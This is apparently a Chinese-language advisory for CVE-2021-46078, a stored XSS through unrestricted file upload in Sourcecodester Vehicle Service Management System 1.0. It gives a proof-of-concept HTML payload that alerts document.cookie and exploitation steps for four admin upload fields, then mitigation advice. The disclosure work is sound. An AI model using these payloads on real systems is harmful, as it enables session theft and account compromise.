Vehicle-Service-Management-System-Multiple-File-upload-Leads-to-Stored-Cross-Site-Scripting — CVE-2021-46078 - Sourcecodester Vehicle Service Management System 1.0 中存在一个无限制文件上传漏洞。远程攻击者可以上传恶意文件,从而导致存储型跨站脚本漏洞。 | Kitploit
sanupl/vehicle-service-management-system-multiple-file-upload-leads-to-stored-cross-site-scriptingVehicle-Service-Management-System-Multiple-File-upload-Leads-to-Stored-Cross-Site-Scripting
CVE-2021-46078 - Sourcecodester Vehicle Service Management System 1.0 中存在一个无限制文件上传漏洞。远程攻击者可以上传恶意文件,从而导致存储型跨站脚本漏洞。
14个月前
CVE-2021-46078
漏洞名称:Vehicle Service Management System - '多处'文件上传导致存储型跨站脚本攻击
CVE:CVE-2021-46078
CVSS:4.8 中危
参考链接:
描述:
Sourcecodester Vehicle Service Management System 1.0 存在无限制文件上传漏洞。远程攻击者可上传恶意文件,导致存储型跨站脚本攻击。
1. Vehicle Service Management System - 'MyAccount' (/admin/?page=user)
漏洞利用:
载荷:
<!DOCTYPE html>
<html>
<title>存储型XSS</title>
<body>
<script>
alert(document.cookie);
</script>
</body>
</html>
- 将以上HTML代码保存为文件,例如 XSS.html
- 在 My Account 部分输入所有必需字段,并在 Avatar 字段中选择该HTML文件。
- 点击更新按钮。
- 在新标签页中打开头像图片。
- 恶意JavaScript代码被触发。
2. Vehicle Service Management System - '用户列表' (/admin/?page=user/manage_user)
漏洞利用:
载荷:
<!DOCTYPE html>
<html>
<title>存储型XSS</title>
<body>
<script>
alert(document.cookie);
</script>
</body>
</html>
- 将以上HTML代码保存为文件,例如 XSS.html
- 在创建新用户页面输入所有必需字段,并在 Avatar 字段中选择该HTML文件。
- 点击保存按钮。
- 在新标签页中打开头像图片。
- 恶意JavaScript代码被触发。
3. Vehicle Service Management System - '设置-系统Logo' (/admin/?page=system_info)
漏洞利用:
载荷:
<!DOCTYPE html>
<html>
<title>存储型XSS</title>
<body>
<script>
alert(document.cookie);
</script>
</body>
</html>
- 将以上HTML代码保存为文件,例如 XSS.html
- 在设置部分输入所有必需字段,并在系统 Logo 字段中选择该HTML文件。
- 点击更新按钮。
- 在新标签页中打开系统 Logo 图片。
- 恶意JavaScript代码被触发。
4. Vehicle Service Management System - '设置-网站封面' (/admin/?page=system_info)
漏洞利用:
载荷:
<!DOCTYPE html>
<html>
<title>存储型XSS</title>
<body>
<script>
alert(document.cookie);
</script>
</body>
</html>
- 将以上HTML代码保存为文件,例如 XSS.html
- 在设置部分输入所有必需字段,并在网站封面字段中选择该HTML文件。
- 点击更新按钮。
- 在新标签页中打开网站封面图片。
- 恶意JavaScript代码被触发。
影响:
攻击者能够在多个端点上传恶意文件,从而导致存储型跨站脚本攻击。
缓解措施:
- 切勿在未使用白名单过滤的情况下直接接受文件名及其扩展名。
- 如果不需要Unicode字符,强烈建议仅接受字母数字字符,且文件名和扩展名中仅允许一个点号。
- 限制文件大小至最大值,以防止拒绝服务攻击。
- 上传目录不应具有任何"执行"权限。
- 不要仅依赖客户端验证。